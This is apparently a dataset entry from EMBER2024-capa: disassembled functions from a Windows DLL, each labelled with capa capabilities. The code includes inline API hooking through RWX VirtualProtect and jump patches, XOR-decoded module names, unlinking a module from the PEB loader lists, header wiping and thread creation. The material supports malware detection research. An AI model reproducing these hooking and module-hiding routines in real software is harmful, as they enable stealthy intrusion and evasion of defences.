joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10013d90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100662b1
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1009100c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], edx
mov ebx, ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x1009a9ac]
test eax, eax
jne 0x10013f2d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10091f0c]
movaps xmm0, xmmword [0x10083b50]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0x3b
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x258c]
test al, 1
jne 0x10013e4c
or eax, 1
mov dword [esi + 0x258c], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0xfa5], 1
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0xf94], al
add ecx, 1
adc edx, 0
jne 0x10013e38
cmp ecx, 0x11
jb 0x10013e20
push 0x10073e40
call fcn.10063830
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0xf94]
mov ecx, edi
call fcn.1005db30
mov eax, dword [esi + 0x504]
mov dword [ebp - 0x20], 0x288bec6c
mov dword [ebp - 0x1c], 0x29b94025
mov dword [ebp - 0x18], 0x61a9c95f
test al, 1
jne 0x10013ecc
or eax, 1
mov dword [esi + 0x504], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x9b0], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x9a4], al
add ecx, 1
adc edx, 0
jne 0x10013eb8
cmp ecx, 0xc
jb 0x10013ea0
push 0x10073e90
call fcn.10063830
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x9a4]
mov ecx, esi
call fcn.1005db90
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10013f26
push 7
call fcn.10063787
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10013f28
xor eax, eax
mov dword [0x1009a9ac], eax
push dword [ebp + 0x10]
mov dword [0x10097824], eax
push dword [ebp - 0x30]
push dword [ebp + 8]
push dword [ebp - 0x34]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10062f29
mov esp, ebp
pop ebp
ret
Function at 0x10013f60
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10066341
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1009100c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], edx
mov ebx, ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x1009a94c]
test eax, eax
jne 0x100140fd
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10091f0c]
movaps xmm0, xmmword [0x10084910]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0xeb
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0xaf0]
test al, 1
jne 0x1001401c
or eax, 1
mov dword [esi + 0xaf0], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x3219], 1
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x3208], al
add ecx, 1
adc edx, 0
jne 0x10014008
cmp ecx, 0x11
jb 0x10013ff0
push 0x10073ee0
call fcn.10063830
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x3208]
mov ecx, edi
call fcn.1005da70
mov eax, dword [esi + 0x2504]
mov dword [ebp - 0x20], 0x4e71a4bc
mov dword [ebp - 0x1c], 0x9bb182bb
mov dword [ebp - 0x18], 0x753818f
test al, 1
jne 0x1001409c
or eax, 1
mov dword [esi + 0x2504], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0xc90], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0xc84], al
add ecx, 1
adc edx, 0
jne 0x10014088
cmp ecx, 0xc
jb 0x10014070
push 0x10073f30
call fcn.10063830
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0xc84]
mov ecx, esi
call fcn.1005dad0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x100140f6
push 7
call fcn.10063787
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x100140f8
xor eax, eax
mov dword [0x1009a94c], eax
push dword [ebp - 0x30]
mov dword [0x10096f9c], eax
push 0x64
push dword [ebp - 0x34]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10062f29
mov esp, ebp
pop ebp
ret
Function at 0x10014130
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100663d1
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x1009100c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [0x1009a9c0]
test eax, eax
jne 0x100142cd
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10091f0c]
movaps xmm0, xmmword [0x10083710]
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0x4f0c492f
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x4188]
test al, 1
jne 0x100141ec
or eax, 1
mov dword [esi + 0x4188], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x151c], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x1508], al
add ecx, 1
adc edx, 0
jne 0x100141d8
cmp ecx, 0x14
jb 0x100141c0
push 0x10073f80
call fcn.10063830
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x1508]
mov ecx, edi
call fcn.1005d9b0
mov eax, dword [esi + 0x1bf4]
mov dword [ebp - 0x1c], 0x6276c1c
mov dword [ebp - 0x18], 0x61815429
mov dword [ebp - 0x14], 0x4f05492f
test al, 1
jne 0x1001426c
or eax, 1
mov dword [esi + 0x1bf4], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x26b8], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x1c]
mov byte [ecx + esi + 0x26ac], al
add ecx, 1
adc edx, 0
jne 0x10014258
cmp ecx, 0xc
jb 0x10014240
push 0x10073fd0
call fcn.10063830
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x26ac]
mov ecx, esi
call fcn.1005da10
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x100142c6
push 7
call fcn.10063787
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x100142c8
xor eax, eax
mov dword [0x1009a9c0], eax
push ebx
mov dword [0x100982d0], eax
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10062f29
mov esp, ebp
pop ebp
ret
Function at 0x10020040
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1009100c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x10098ed0], 0
push esi
push edi
jle 0x100200aa
mov ecx, dword [0x100973f0]
mov eax, dword [0x10093784]
add eax, 0x1c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
cmp dword [eax], 0
je 0x100200aa
mov ecx, dword [0x100973f0]
mov eax, dword [0x10093784]
add eax, 0x150
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x100200ea
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0xcc
jmp 0x100200de
mov ecx, dword [0x100973f0]
mov eax, dword [0x10093784]
add eax, 0x150
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x100200ea
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0x68
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10062f29
mov esp, ebp
pop ebp
ret
Function at 0x10022040
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10066c41
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x1009100c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10091f0c]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x1009a980]
cmp eax, dword [ecx + 0xc]
jle 0x100220d5
push 0x1009a980
call fcn.10063244
add esp, 4
cmp dword [0x1009a980], 0xffffffff
jne 0x100220d5
mov dword [ebp - 4], 0
mov ecx, dword [0x100973f0]
mov eax, dword [0x10093784]
add eax, 0x154
push eax
mov edx, dword [ecx]
call dword [edx + 4]
add eax, 4
mov dword [ebp - 4], 0xffffffff
push 0x1009a980
mov dword [0x1009a91c], eax
call fcn.100631fa
add esp, 4
mov ecx, dword [0x100973f0]
mov eax, dword [0x10093784]
add eax, 0x1c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
cmp dword [eax], 0
je 0x10022164
cmp dword [0x10098ea4], 0
je 0x10022164
mov eax, dword [0x10093784]
mov ecx, dword [eax + 0x2bc]
mov eax, dword [0x100982dc]
mov ecx, dword [eax + ecx]
call fcn.10015540
mov esi, eax
test esi, esi
je 0x10022164
mov ecx, dword [0x100973f0]
push 0x100986e0
mov edx, dword [ecx]
call dword [edx + 4]
test eax, eax
je 0x10022164
mov edx, dword [0x100979cc]
add edx, eax
cmp edx, eax
jbe 0x10022164
mov ecx, esi
call edx
test eax, eax
jle 0x10022164
mov edi, dword [0x1009a91c]
cmp edi, 0x1000
jbe 0x10022195
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push edi
call esi
mov dword [edi], 0x3a8312a2
jmp 0x10022189
mov edi, dword [0x1009a91c]
cmp edi, 0x1000
jbe 0x10022195
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push edi
call esi
mov dword [edi], 0x3e19999a
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
push 4
push edi
call esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10062f29
mov esp, ebp
pop ebp
ret
Function at 0x100221b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1009100c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x100973f0]
mov eax, dword [0x10093784]
push esi
push edi
mov edx, dword [ecx]
add eax, 0x1c
push eax
call dword [edx + 4]
mov ecx, dword [0x100973f0]
cmp dword [eax], 0
mov edx, dword [ecx]
mov eax, dword [0x10093784]
je 0x1002221a
add eax, 0x15c
cmp dword [0x10098038], 0
push eax
je 0x10022220
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1002224d
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0xcc
jmp 0x10022241
add eax, 0x15c
push eax
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1002224d
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0x6a
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10062f29
mov esp, ebp
pop ebp
ret

Function at 0x100227c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x1009316c], 0
jne 0x10022823
mov edx, 0x54
xor eax, eax
mov cl, byte [eax + 0x10082758]
xor cl, dl
inc edx
mov byte [ebp + eax - 0x18], cl
and edx, 0x800000ff
jns 0x100227f3
dec edx
or edx, 0xffffff00
inc edx
inc eax
cmp eax, 0x15
jl 0x100227d6
lea eax, [ebp - 0x18]
mov byte [ebp - 3], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add eax, 0xcdda
mov dword [0x1009316c], 1
mov dword [0x10098788], eax
add eax, 0x18
mov dword [0x10097ae4], eax
mov esp, ebp
pop ebp
ret
Function at 0x10024e10
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1009100c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x100973f0]
push ebx
push esi
push edi
mov eax, dword [ecx]
push 0x10097f24
call dword [eax + 4]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, fcn.100071c0
mov eax, dword [eax]
mov dword [0x100979e4], eax
lea edi, [eax + 0x10]
cmp edi, 0x1000
jbe 0x10024e7a
cmp ebx, 0x1000
jbe 0x10024e7a
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.100071c0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100979e4]
lea edi, [eax + 0x3c]
cmp edi, 0x1000
jbe 0x10024eaf
cmp ebx, 0x1000
jbe 0x10024eaf
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.100071c0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100979e4]
lea edi, [eax + 0x40]
cmp edi, 0x1000
jbe 0x10024ee4
cmp ebx, 0x1000
jbe 0x10024ee4
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.100071c0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100979e4]
lea edi, [eax + 0x44]
cmp edi, 0x1000
jbe 0x10024f19
cmp ebx, 0x1000
jbe 0x10024f19
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.100071c0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100979e4]
lea edi, [eax + 0x48]
cmp edi, 0x1000
jbe 0x10024f4e
cmp ebx, 0x1000
jbe 0x10024f4e
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.100071c0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100979e4]
lea edi, [eax + 0x4c]
cmp edi, 0x1000
jbe 0x10024f83
cmp ebx, 0x1000
jbe 0x10024f83
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.100071c0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100979e4]
lea edi, [eax + 0x50]
cmp edi, 0x1000
jbe 0x10024fb8
cmp ebx, 0x1000
jbe 0x10024fb8
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.100071c0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100979e4]
lea edi, [eax + 0x54]
cmp edi, 0x1000
jbe 0x10024fed
cmp ebx, 0x1000
jbe 0x10024fed
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.100071c0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100979e4]
lea edi, [eax + 0x58]
cmp edi, 0x1000
jbe 0x1002501d
cmp ebx, 0x1000
jbe 0x1002501d
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.100071c0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10062f29
mov esp, ebp
pop ebp
ret
Function at 0x100262a0
Capabilities:
Get hostname

Disassembly:
push 0x1009105c
push 0x10098130
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.100261b0
cmp eax, 1
jne 0x100262cc
push str.Win_XP
push 0x10093b30
call fcn.10005a80
add esp, 8
call fcn.100261b0
cmp eax, 2
jne 0x100262e8
push str.Win_Vista
push 0x10093b30
call fcn.10005a80
add esp, 8
call fcn.100261b0
cmp eax, 3
jne 0x10026304
push str.Win_7
push 0x10093b30
call fcn.10005a80
add esp, 8
call fcn.100261b0
cmp eax, 4
jne 0x10026320
push str.Win_8
push 0x10093b30
call fcn.10005a80
add esp, 8
call fcn.100261b0
cmp eax, 5
jne 0x1002633c
push str.Wi_10
push 0x10093b30
call fcn.10005a80
add esp, 8
ret
Function at 0x10053e20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1009100c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push edi
mov esi, edx
mov edi, ecx
nop dword [eax]
cmp byte [edi], 0x6a
jne 0x10053ebe
cmp esi, 0x1000
jbe 0x10053e9a
cmp edi, 0x1000
jbe 0x10053e9a
lea eax, [ebp - 8]
push eax
push 0x80
push 7
push esi
call ebx
push 7
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
push 7
push esi
call ebx
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 7]
lea edx, [edx + 7]
call fcn.10013270
add esp, 4
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x10053f2a
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 7]
lea edx, [edx + 7]
call fcn.10013270
add esp, 4
cmp esi, 0x1000
jbe 0x10053f2d
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x10053f2a
cmp esi, 0x1000
jbe 0x10053f08
cmp edi, 0x1000
jbe 0x10053f08
lea eax, [ebp - 0xc]
push eax
push 0x80
push 5
push esi
call ebx
push 5
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0xc]
push 5
push esi
call ebx
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 5]
lea edx, [edx + 5]
call fcn.10013270
add esp, 4
jmp 0x10053f22
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 5]
lea edx, [edx + 5]
call fcn.10013270
add esp, 4
cmp esi, 0x1000
jbe 0x10053f2d
lea eax, [ebp - 0x1c]
push eax
push 0x40
push 7
push esi
call ebx
mov al, byte [edi]
cmp al, 0x8b
je 0x10053f44
cmp al, 0x6a
je 0x10053f44
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10053e40
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10062f29
mov esp, ebp
pop ebp
ret
Function at 0x10054680
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x1009100c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 1
push edi
mov edi, dword [ebp + 8]
jne 0x10054782
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x10054707
cmp ecx, edi
jne 0x100546fe
mov edx, dword [eax + 4]
test edx, edx
je 0x100546cc
mov ecx, dword [eax]
mov dword [edx], ecx
mov edx, dword [eax + 4]
test edx, edx
je 0x100546cc
mov ecx, dword [eax]
mov dword [ecx + 4], edx
mov edx, dword [eax + 0x14]
test edx, edx
je 0x100546d8
mov ecx, dword [eax + 0x10]
mov dword [edx], ecx
mov edx, dword [eax + 0x10]
test edx, edx
je 0x100546e5
mov ecx, dword [eax + 0x14]
mov dword [edx + 4], ecx
mov edx, dword [eax + 8]
test edx, edx
je 0x100546fe
mov ecx, dword [eax + 0xc]
mov dword [ecx], edx
mov edx, dword [eax + 8]
test edx, edx
je 0x100546fe
mov ecx, dword [eax + 0xc]
mov dword [edx + 4], ecx
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
test ecx, ecx
jne 0x100546b1
push esi
push 0x1c
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xc]
push eax
push 0x40
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push 0xc8
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x1003c6d0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x100541d0
push 0
push 0
call esi
pop esi
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop edi
call fcn.10062f29
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10054d50
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x10054d7c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], eax
test eax, eax
je 0x10054d9e
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x10054da0
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test edi, edi
jl 0x10054e25
jg 0x10054db5
test esi, esi
je 0x10054e25
test ecx, ecx
jl 0x10054e08
jg 0x10054dbf
test eax, eax
je 0x10054e08
cmp edi, ecx
jg 0x10054dd3
jl 0x10054dc9
cmp esi, eax
jae 0x10054dd3
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x1c]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov eax, dword [ebx + 0x30]
sub esi, ecx
mov edx, dword [ebp + 8]
sbb edi, dword [esp + 0x10]
add edx, ecx
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
test edi, edi
jl 0x10054e25
jg 0x10054e0b
test esi, esi
je 0x10054e25
jmp 0x10054e0b
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x10054e25
push eax
push esi
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc